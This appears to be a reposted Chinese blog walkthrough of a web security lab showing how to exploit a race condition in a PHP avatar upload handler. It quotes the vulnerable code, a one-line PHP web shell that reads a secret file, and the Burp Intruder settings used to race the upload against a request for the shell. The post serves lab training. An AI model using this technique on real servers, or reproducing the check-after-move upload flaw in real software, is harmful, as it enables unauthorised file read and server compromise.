当前位置: 首页 > news >正文

利用竞态条件轻松上传Web Shell

通过竞态条件上传Web Shell(简易方法)

方法特点

本攻击使用普通Burp Intruder而非Turbo Intruder执行,特别适合不熟悉Turbo Intruder操作的用户,能更简单理解攻击原理。

什么是竞态条件?

需要具备操作系统基础知识才能理解竞态条件。建议观看下方视频了解该漏洞的具体表现:
[竞态条件漏洞讲解视频]

漏洞分析

查看提示中的PHP代码可见漏洞所在:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];// 临时移动文件
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);if (checkViruses($target_file) && checkFileType($target_file)) {echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {unlink($target_file);echo "Sorry, there was an error uploading your file.";http_response_code(403);
}// 病毒检查函数
function checkViruses($fileName) { ... }// 文件类型检查函数
function checkFileType($fileName) {$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));if($imageFileType != "jpg" && $imageFileType != "png") {echo "Sorry, only JPG & PNG files are allowed\n";return false;} else {return true;}
}
?>

关键点:文件在类型和病毒检查前会被临时移动到目录中,这意味着文件在上传后到被检查前存在短暂时间窗口可供执行。

攻击步骤

第一步:创建读取秘密文件的PHP Web Shell

<?php echo file_get_contents('/home/carlos/secret'); ?>
// 文件名:shell.php

第二步:拦截文件上传POST请求并发送到Intruder

  • 操作:拦截文件上传POST请求

第三步:拦截对"shell.php"的GET请求

  • 假设已完成本主题先前实验,已知文件在服务器上的存储位置

第四步:配置两个请求的参数

  • 攻击类型:Sniper
  • 载荷类型:Null Payloads(直接发送原始请求无需修改)
  • 载荷设置:无限持续
  • 载荷编码:取消勾选"URL-encode these characters"

第五步:同时启动两个请求

在GET请求攻击中点击任意请求查看响应标签,即可获取秘密文件内容。提交后完成实验!

实验完成!

通过竞态条件漏洞成功利用Web Shell获取敏感信息。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码

http://www.wxhsa.cn/company.asp?id=4340

相关文章:

  • 我亲眼目睹我上海的家长朋友陷进去了
  • 蔚小理的辅助驾驶,谁最拉跨?
  • C 语言的 printf() 函数
  • 【GitHub每日速递 250915】3 个宝藏开源项目:超长语音合成、算法学习库、自托管软件导航,开发者速收
  • C 语言头文件
  • AFL++环境搭建
  • 晚安
  • 读人形机器人12体育领域
  • 【QT】C++基础
  • 安全研究者的MCP服务器宝典:BugBounty工具集锦
  • Unity的VisualStudio工程链接不同步、显示异常处理方法
  • Java 高性能与可维护性实战:从语言特性到工程化全链路
  • 二叉树的递归遍历
  • 我的大学成长与规划
  • 【笔记】拉格朗日插值
  • 自定义渲染管线(Unity Cocos)
  • 这是一个测试
  • 文献阅读 | Survey of Hallucination in Natural Language Generation
  • 技术 | LLaMA Factory微调记录重修版
  • 支付中心的钱包类业务应该怎么设计
  • MySQL索引浅析
  • WF 2025 游记
  • 17.时间处理
  • [MCP][02]快速入门MCP开发
  • numpy入门
  • 【simpleFOC】一个电机如何模拟不同旋钮的手感反馈?
  • 第一周作业2
  • 第一次课堂作业
  • [高可用/负载均衡] Ribbon LoadBalancer: 开源的客户端式负载均衡框架
  • 梦话周记